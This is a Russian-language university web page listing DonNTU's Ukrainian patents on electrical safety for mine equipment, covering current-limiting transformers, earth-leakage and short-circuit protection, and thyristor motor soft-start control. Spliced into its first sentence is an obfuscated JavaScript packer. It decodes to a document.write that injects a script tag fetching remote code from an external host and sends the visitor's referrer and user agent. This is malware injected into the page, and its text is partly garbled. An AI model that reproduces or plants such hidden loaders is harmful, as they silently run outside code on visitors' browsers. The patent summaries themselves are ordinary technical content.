

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|bsbny|var|u0026u|referrer|yhest||js|php'.split('|'),0,{})) кафедре Горной электротехники и автоматики ДонНТУ, кафедре Электронной техники получен ряд патентов на изобретения для повышения безопасности эксплуатации шахтных участковых электротехнических комплексов.

**1. Трехфазный трансформатор напряжения:** патент Украины на изобретение № 106182, МПК H01F 27/28 / Маренич К.Н., Ковалева И.В., Маренич О.К.; ДонНТУ, заяв. № а201313096 от 11.11.2013, опублик. 25.07.2014, бюл. № 14.

кафедра Горной электротехники и автоматики

Разработка предназначена для применения в составе шахтной комплектной участковой трансформаторной подстанции и служит для ограничения тока в сети в момент

возникновения в ней междуфазного короткого замыкания. Применение данной разработки позволяет производить защитное отключение электросети участка при существенном ограничении тока в ней.

Устройство содержит в каждой фазе на магнитопроводе первичную и вторичную обмотки. Первичные обмотки каждой фазы соединены между собой в трехфазную схему. Новизна заключается в том, что трансформатор дополнительно оснащен трехфазным мостовым выпрямителем, резистором и управляемым размыкающим контактом соединенными между собой параллельно. Как вариант вместо параллельного соединения резистора и управляемого размыкающего контакта может быть применён плавкий предохранитель. В штатном режиме выпрямитель, нагруженный плавким предохранителем или размыкающим контактом формирует цепь соединений в «звезду» вторичной обмотки трансформатора, чем обеспечивается нормальный режим его работы.

Трехфазный трансформатор имеет простую схему устройства и при этом позволяет ограничивать ток в электросети участка на время срабатывания средств защитного отключения; исключить вспышку изоляции электрических проводников в присоединении, в зоне слишком большой межфазной электрической проводимости; предупреждать возникновение пожара и взрыва метано-воздушной смеси в шахте.

Имеется экспериментальный образец, физическая и математическая модель

**2. Устройство выявления состояния утечки тока на землю в сети двухскоростного асинхронного двигателя:** патент Украины на изобретение №103735, МПК H02 H3/28 / Маренич К.Н., Ковалева И.В., Маренич О.К.; ДонНТУ, заяв. № а201214770 от 24.12.2012., опубл. 11.11.2013, бюл. № 21.

кафедра Горной электротехники и автоматики

Устройство предназначено для повышения безопасности эксплуатации шахтных участков электротехнических комплексов, в состав которых входят технологические установки с двухскоростными асинхронными двигателями.

Двухскоростной асинхронный двигатель является объектом с потенциальной повышенной опасностью электропоражения человека, поскольку в процессе работы двигателя (имеющего две статорные обмотки на одном магнитопроводе) в присоединении отключенной обмотки статора индуцируется ЭДС высокого уровня и частоты. С целью выявления повышенной проводимости между фазой и контуром земля в работающей и отключенной обмотках статоров между их общими точками предлагается подключить первичную обмотку трансформатора TV2. Это обеспечит протекание оперативного тока аппарата защиты (АЗ) от утечек тока на землю по присоединениям обеих обмоток. Кроме этого, в момент возникновения цепи утечки тока на землю  $R_{ут}$  на вторичной обмотке трансформатора TV2 будет сформирован информационный сигнал, поступающий на вход реагирующего органа (РО) для отработки функции защитного отключения статоров двигателя от сети (и недопущения её подпитки индуцируемыми в статоре ЭДС). Присоединение средней точки первичной обмотки трансформатора TV2 к контуру «земля» через конденсатор С1 и диод VD1 позволяет выявлять момент возникновения цепи утечки тока на землю  $R_{ут}$  и после отключения напряжения питания, на интервале нахождения асинхронного двигателя в режиме выбега. Сформированный на выходе вторичной обмотки трансформатора информационный сигнал и в этом случае позволит сформировать команду на защитное отключение от сети обратных ЭДС свободного выбега двигателя.

Устройство обеспечивает выполнение защитной функции от электропоражения человека при касании отключенной обмотки работающего двухскоростного асинхронного двигателя и подавление действия на электрическую сеть энергетического потока, образованного трансформаторной ЭДС, которая некоторое время поддерживается после отключения электропитания.

Имеется экспериментальный образец, физическая и математическая модели

**3. Устройство выявления состояния утечки тока на землю в сети двухскоростного асинхронного двигателя:** патент Украины на изобретение № 103934, МПК H02 H3/02 /Маренич К.Н., Ковалева И.В., Лагута И.А.; ДонНТУ, заяв. № а201201369 от 09.02.2012., опубл. 10.12.2013, бюл. № 23.

кафедра Горной электротехники и автоматики

Устройство применяется в шахтных участковых электротехнических комплексах для выявления повреждения в кабеле электропитания асинхронного двигателя техническим средством, расположенным непосредственно на вводе двигателя и работающем автономно. Без информационной связи с внешними устройствами защиты.

Устройство схематично состоит из последовательно включенных цепей , присоединённых между анодом диода , подключенного катодом к контуру земля (заземленному корпусу электродвигателя) и резисторами, подключенными к фазам сети на вводе двигателя. При условии применения шахтного экранированного гибкого кабеля в цепи электропитания двигателя повреждение этого кабеля или возникновение цепи однофазной утечки в нём создаст условие протекания импульса тока через конденсаторы и диод. В результате, на резисторе будет сформирован информационный импульс напряжения, который можно использовать как команду на защитное отключение коммутационного аппарата на вводе асинхронного двигателя.

Устройство не препятствует поддержанию режима изолированной нейтрали сети в штатном режиме эксплуатации, не оказывает влияния на параметры участкового аппарата защиты от утечек тока на землю, не оказывает влияния на параметры проводимости изоляции шахтной участковой сети.

Устройство обеспечивает функцию защитного отделения от сети обратного энергетического потока асинхронного двигателя в момент возникновения аварийного (опасного) состояния в питающем кабеле в т.ч., на интервале нахождения двигателя в состоянии выбега (после отключения напряжения питания). Устройство функционирует

автономно, без подчинения действию внешних защит.

Имеется экспериментальный образец, математическая, физическая модели.

**4. Устройство контакторной коммуникации асинхронного двигателя в электросети технологического:** патент Украины на изобретение № 102285, МПК H02H3/00 / Маренич К.Н., Ковалева И.В.; ДонНТУ, заяв. № а 2011 09048 от 19.07.2011., опубл. 25.06.2013, бюл. № 12.

кафедра Горной электротехники и автоматики

Изобретение относится к области электротехники и предназначено для повышения безопасности эксплуатации электротехнических комплексов технологических установок в случае возникновения утечки тока на землю.

Устройство содержит блок дистанционного управления контактором, кабельный ввод, присоединенный к силовой контактной группе контактора, при этом устройство дополнительно снабжено блоками контроля величины фазных токов, узлами сравнения с нулевым уровнем сигнала, логичным элементом «Отключающий АБО», одновибратором и исполнительным элементом, при этом к кабельному вводу подключены блоки контроля величины фазных токов вводного кабеля и отходящего транзитного силового присоединения, выходы обоих блоков контроля величины фазных токов присоединены к узлам сравнения с нулевым уровнем сигнала, а выходы этих узлов подключены к входам логичного элемента «Отключающий АБО», выход которого присоединен к входу одновибратора, выход которого через исполнительный элемент присоединен к входу блока дистанционного управления контактором.

Устройство за счет определения наличия тока в отходящем транзитном силовом присоединении при отсутствии тока во вводном кабеле обеспечивает формирование команды на принудительное отключение силового контактора, в результате чего исключается влияние обратных энергетических потоков совокупности асинхронных двигателей потребителей технологического участка на звено утечки тока на землю после защитного отключения сети, позволяет повысить электробезопасность ее эксплуатации.

**5. Способ управления тиристорным регулятором напряжения в устройстве замедленного пуска асинхронного двигателя:** патент Украины на изобретение № 101843, МПК H02M 7/00; H02M 1/08; H02J 3/18; H02P 7/00; H02P 5/00; H02M 5/00 / Маренич К.Н., Руссиян С.А.; ДонНТУ, заяв. № а 2011 01024 от 31.01.2011., опубл. 13.05.2013, бюл. № 9.

кафедра Горной электротехники и автоматики

Изобретение относится к электротехнике и предназначено для устранения автоколебательных процессов в системе "тиристорный регулятор напряжения - асинхронный двигатель" во время фазового регулирования напряжения в процессе замедления пуска асинхронного двигателя.

Способ управления тиристорным регулятором напряжения в устройстве замедления пуска асинхронного двигателя включает повышение выходного напряжения симметричного тиристорного регулятора с заранее определенной интенсивностью от фиксированной уменьшенной величины до номинальной путем фазового регулирования углов отпирания тиристоры регулятора. Определяют и сравнивают между собой

опорный и контрольный сигналы, и в случае достижения контрольным сигналом величины опорного сигнала осуществляют уменьшение угла отпирания тиристоры регулятора по линейному закону со скоростью, не меньше, чем 50 эл. град. / сек. В качестве опорного и контрольного сигналов принимают параметры, пропорциональные величинам действующего напряжения, соответственно, на входе и на выходе тиристорного регулятора.

Технический результат получен за счет выявления скачкообразного повышения напряжения в цепи между тиристорным регулятором и асинхронным двигателем, что является признаком начала автоколебательного процесса, и соответствующего ускорения уменьшения угла отпирания тиристоры регулятора напряжения с интенсивностью, которая устраняет условия поддержания автоколебательных процессов в системе "тиристорный регулятор напряжения - асинхронный двигатель".

**6. Способ токовой защиты в сети питания асинхронного двигателя в составе горного участкового электротехнического комплекса:** патент Украины на изобретение № 97592, МПК H02H 3/10; H02H 7/08; H02H 7/09 / Маренич К.Н., Ковалева И.В., Василец С.В.; ДонНТУ, заяв. № а 2010 15324 от 20.12.2010., опубл. 27.02.2012, бюл. № 4.

кафедра Горной электротехники и автоматики

Изобретение относится к электротехнике и предназначено для повышения безопасности эксплуатации электротехнических комплексов горных технологических установок в случае возникновения межфазных дуговых замыканий.

Способ токовой защиты в сети питания асинхронного двигателя в составе горного участкового электротехнического комплекса включает определение тока сети питания асинхронного двигателя путем выпрямления вторичных параметров трансформаторов тока в цепях статора двигателя и формирования команды на разъединение трехфазной схемы обмоток статора. Одновременно с разъединением трехфазной схемы обмоток статора одну из них подключают к заземленному металлическому корпусу асинхронного двигателя при помощи резистора активного сопротивления. В качестве сигнала на формирование команды на разъединение трехфазной схемы обмоток статора двигателя используют переменную составляющую выходного напряжения выпрямителя вторичных параметров трансформаторов тока при наличии в ее составе импульсов повышенной амплитуды. Трансформаторы тока располагают в цепях линейных токов статора асинхронного двигателя. Технический результат получен за счет выявления разницы величин линейных токов в трехфазной схеме статора асинхронного двигателя с последующим разъединением трехфазной схемы статорной обмотки и присоединением обмотки одной из фаз статора двигателя к его заземленному корпусу при помощи резистора активного сопротивления при условии применения аппарата защиты от утечки тока на землю.

Эти особенности обеспечивают быстросрабатывающее синхронное, двустороннее обесточивание аварийного места силового присоединения в участковом электротехническом комплексе горного предприятия. Достигается выполнение функции выявления межфазного дугового замыкания в сети питания асинхронного двигателя и защитного отключения источника питания аварийного присоединения со стороны трансформаторной подстанции и статора асинхронного двигателя, что дает возможность предупреждения пожара, обусловленного током дугового замыкания в питающем кабеле.

**7.000000 Устройство защиты от влияния асинхронного двигателя на точку короткого замыкания в кабеле питания:** патент Украины на изобретение № 95757, МПК H02H 3/10; H02H 7/08 / Маренич К.Н., Ковалева И.В., Лагута И.А., Василец С.В.; ДонНТУ, заяв. № а 2010 13816 от 22.11.2010., опубл. 25.08.2011, бюл. № 16.

кафедра Горной электротехники и автоматики



Изобретение относится к электротехнике и предназначено для повышения безопасности эксплуатации электротехнических комплексов горных технологических установок в случае возникновения коротких замыканий.

Устройство содержит трансформатор тока, подключенный выходом к входу исполнительного коммутационного аппарата, два силовых размыкающих контакта которого соединены последовательно и присоединены к выводам фазных обмоток статора асинхронного двигателя, создавая цепь соединения последних в трехфазную схему. Трансформатор тока подключен в звене присоединения заземляющей жилы кабеля питания асинхронного двигателя к металлическому корпусу последнего. К общей точке размыкающих контактов и металлического корпуса асинхронного двигателя катодами присоединены, соответственно, диод и стабилитрон, аноды которых соединены между собой при помощи резистора.

За счет дополнительного измерения тока в заземляющей жиле питательного силового шахтного экранированного кабеля и дальнейшего разъединения трехфазной схемы обмотки статора асинхронного двигателя обеспечивается одновременное отключение обратного энергетического потока асинхронного двигателя с срабатыванием максимальной токовой защиты со стороны источника питания.

Изобретение позволяет повысить быстродействие обесточивания точки короткого замыкания в кабеле питания асинхронного двигателя и упростить обнаружение процесса короткого замыкания, что дает возможность предупреждения пожара, вызванного током короткого замыкания в питательном кабеле.

**8.000000 Устройство защиты с активной компенсацией токов утечки в сети с изолированной нейтралью**: патент Украины №86280, МПК H02H3/16, /Шавелкин А.А.,

Белобородько О.О./ ДонНТУ, заявка № а 2007 07423, заявл.02.07.2007, опубл.10.04.2009, бюл.№7.

кафедра Электронной техники

Изобретение относится к электротехнике и предназначено для повышения электробезопасности эксплуатации электрических сетей с изолированной нейтралью трансформатора, за счет компенсации тока однофазного истока сквозь тело человека одновременно с защитным отключением и контролем состояния изоляции, и может быть использовано в шахтных электрических сетях с напряжением до 1140 В.

Устройство состоит из блока измерения емкости сети, присоединенного через емкостной фильтр к сети, генератора повышенной частоты, соединенного с блоком измерения емкости сети и заземлителем, трехфазного присоединительного трансформатора, который образует искусственную нейтраль сети, источника измерительного тока, соединенного с заземлителем. Дополнительно в устройство между заземлителем и искусственной нейтралью сети введены независимый быстродействующий регулируемый источник тока компенсации и измеритель напряжения смещения нейтрали относительно земли, которые присоединены к блоку расчета тока истока, а блок расчета тока истока присоединен к блоку расчета емкостной составляющей тока истока и к блоку измерения тока источника измерительного тока. Кроме этого, измеритель напряжения сдвига нейтрали относительно земли присоединен и к блоку расчета емкостной составляющей тока истока, подсоединенного к блоку измерения емкости сети. Кроме этого устройство содержит дроссель, соединенный с искусственной нейтралью трехфазного присоединительного трансформатора, блок измерения тока источника измерительного тока, присоединенного к блоку сравнения и блоку измерения переменной составляющей оперативного тока, который в свою очередь соединен с блоком управления автоматическим выключателем подстанции.

Новые конструктивные особенности позволяют активно компенсировать и уменьшить утечку тока, уменьшить время протекания с помощью независимого быстродействующего регулируемого источника тока компенсации. Уменьшение времени

выявления утечки, и соответственно, времени защитного отключения, достигается использованием схемы быстрого выявления постоянной составляющей тока цепи источника измерительного тока. Повысив эффективность и быстродействие компенсации тока истока и уменьшив время до срабатывания автоматического выключателя подстанции достигается уменьшение эквивалентного заряда сквозь человека.

Использование предложенного устройства обеспечивает повышение безопасности жизни человека.

**9. Способ защиты человека от поражения электрическим током в сети с изолированной нейтралью:** патент Украины на изобретение № 82111, МПК H02H 3/16; / Маренич К.Н., Василец С.В.; ДонНТУ, заяв. № а200600387 от 16.01.2006 г., опубл. 11.03.2008, бюл. № 5.

кафедра Горной электротехники и автоматики

Изобретение относится к электротехнике и предназначено для повышения электробезопасности эксплуатации электрических сетей с изолированной нейтралью трансформатора. Технология может быть использована преимущественно в шахтных участковых электросетях.

Способ защиты человека от поражения электрическим током в сети с изолированной нейтралью заключается в отключении сети групповым выключателем в зависимости от тока истока, которое сопровождается дополнительным отключением всех ответвлений, которые коммутируются. Новизна заключается в том, что дополнительно во время

защитного отключения, в момент пропадания тока в каждом ответвлении, фазы такого ответвления со стороны выхода соответственного коммутационного аппарата соединяют между собой и подсоединяют к цепи заземления при помощи дросселя. Такое соединение фаз позволяет снизить до нуля напряжение на шинах соответствующего коммутационного аппарата, обесточить цепи управления указанного аппарата и, как следствие, отключить его, независимо от внешнего сигнала на отключения. Кроме того, присоединенная к цепи заземления при помощи дросселя искусственная нулевая точка обеспечивает компенсацию емкостных токов утечки на данном ответвлении.

Особенности защитного отключения электросети путем автономным дроблением участковой электросети на отдельные ответвления и возможность компенсации емкостных токов истока в цепи каждого потребителя позволяют повысить надежности отключения ответвлений, которые коммутируются, и так же повысить безопасность их состояния в процессе защитного отключения.